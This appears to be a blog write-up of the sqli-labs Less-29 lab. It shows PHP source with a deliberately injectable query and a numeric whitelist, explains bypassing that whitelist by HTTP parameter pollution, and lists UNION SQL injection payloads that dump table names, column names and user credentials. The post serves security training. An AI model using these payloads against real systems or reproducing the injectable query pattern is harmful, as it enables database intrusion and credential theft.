当前位置:网站首页>SQL injection less29 (parameter pollution bypasses WAF)
SQL injection less29 (parameter pollution bypasses WAF)
2022-07-27 22:19:00 【Happy star】
Pre knowledge :Try to Hack】HTTP Parameter pollution
There are three documents login.php、hacked.php、index.php
login.php
<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
//disable error reporting
error_reporting(0);
// take the variables
if(isset($_GET['id']))
{
$qs = $_SERVER['QUERY_STRING'];
$hint=$qs;
$id1=java_implimentation($qs);
$id=$_GET['id'];
//echo $id1;
whitelist($id1);
// connectivity
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo "<font size='5' color= '#99FF00'>";
echo 'Your Login name:'. $row['username'];
echo "<br>";
echo 'Your Password:' .$row['password'];
echo "</font>";
}
else
{
echo '<font color= "#FFFF00">';
print_r(mysql_error());
echo "</font>";
}
}
else {
echo "Please input the ID as parameter with numeric value";}
//WAF implimentation with a whitelist approach..... only allows input to be Numeric.
function whitelist($input)
{
$match = preg_match("/^\d+$/", $input);
if($match)
{
//echo "you are good";
//return $match;
}
else
{
header('Location: hacked.php');
//echo "you are bad";
}
}
// The function below immitates the behavior of parameters when subject to HPP (HTTP Parameter Pollution).
function java_implimentation($query_string)
{
$q_s = $query_string;
$qs_array= explode("&",$q_s);
foreach($qs_array as $key => $value)
{
$val=substr($value,0,2);
if($val=="id")
{
$id_value=substr($value,3,30);
return $id_value;
echo "<br>";
break;
}
}
}
?>
First of all, let's analyze whitelist function
function whitelist($input)
{
$match = preg_match("/^\d+$/", $input);
if($match)
{
//echo "you are good";
//return $match;
}
else
{
header('Location: hacked.php');
//echo "you are bad";
}
}
Ask for our id It must be a number , Or jump to hacked.php Interface
$qs = $_SERVER['QUERY_STRING'];
$hint=$qs;
$id1=java_implimentation($qs);
$id=$_GET['id'];
//echo $id1;
whitelist($id1);
$_SERVER['QUERY_STRING'] It is our GET All parameters of parameter transfer 
java_implimentation function , Want to simulate HTTP Different parsing results of another Middleware in parameter pollution ( Because our current real environment is only Apache,Apache When the parameter of is polluted, it is resolved as last), This function is simulated and resolved as first
// The function below immitates the behavior of parameters when subject to HPP (HTTP Parameter Pollution).
function java_implimentation($query_string)
{
$q_s = $query_string;
$qs_array= explode("&",$q_s);
foreach($qs_array as $key => $value)
{
$val=substr($value,0,2);
if($val=="id")
{
$id_value=substr($value,3,30);
return $id_value;
echo "<br>";
break;
}
}
}
$id1=java_implimentation($qs);
whitelist($id1);
So we ?id=11&id=payload
Just forgive this WAF 了
?id=1&id=-1' union select 1,2,3--+
And then do the routine UNION Just inject
?id=1&id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+
?id=1&id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
?id=1&id=-1' union select 1,2,group_concat(username,0x3a,password) from security.users --+
边栏推荐
- Regular expression exercise
- Mysql 数据恢复流程 基于binlog redolog undolog
- 【StoneDB故障诊断】MDL锁等待
- [Marine Science] climate indices data set
- Interview questions that big companies need to prepare
- leetcode15--三数之和
- MySQL execution process and order
- JVM garbage collection garbage collector and common combination parameters
- C language output teaching calendar
- Simple use of enum
猜你喜欢

【海洋科学】海洋气候指数【Climate Indices】数据集

dBm和Vpp以及Vpeak的关系

时间继电器

Starfish Os X MetaBell战略合作,元宇宙商业生态更进一步

Monitor the running of server jar and restart script
![[question 23] Sudoku game with rotation | DFS (Beijing Institute of Technology / Beijing Institute of Technology / programming methods and practice / primary school)](/img/75/c207f4f562fd5b547c5b3134113154.jpg)
[question 23] Sudoku game with rotation | DFS (Beijing Institute of Technology / Beijing Institute of Technology / programming methods and practice / primary school)

8000 word explanation of OBSA principle and application practice

Is log4j vulnerability still widespread?

STM32项目分享---MQTT智能门禁系统(含APP控制)

SQL注入 Less26a(布尔盲注)
随机推荐
一种比读写锁更快的锁,还不赶紧认识一下
8000字讲透OBSA原理与应用实践
时间继电器
Mysql 数据恢复流程 基于binlog redolog undolog
SQL注入 Less29(参数污染绕过WAF)
leetcode383赎金信
基于简化的评分卡、Smote采样和随机森林的信贷违约预测
matlab 绘制三坐标(轴)图
fork()函数的执行过程、孤儿进程和僵尸进程
Starrocks community structure comes out, waiting for you to upgrade!
Mimx8md6cvahzab i.MX 8mdual cortex-a53 - Microprocessor
A lock faster than read-write lock. Don't get to know it quickly
Deploy dolphin scheduler high availability cluster based on rainbow
Finish learning redis cluster solution at one go
leetcode15--三数之和
Leetcode-155-minimum stack
Leetcode-39-total number of combinations
Live broadcast software app development, uniapp scroll view hidden scroll bar
JVM memory model interview summary
直播软件app开发,uniapp scroll-view隐藏滚动条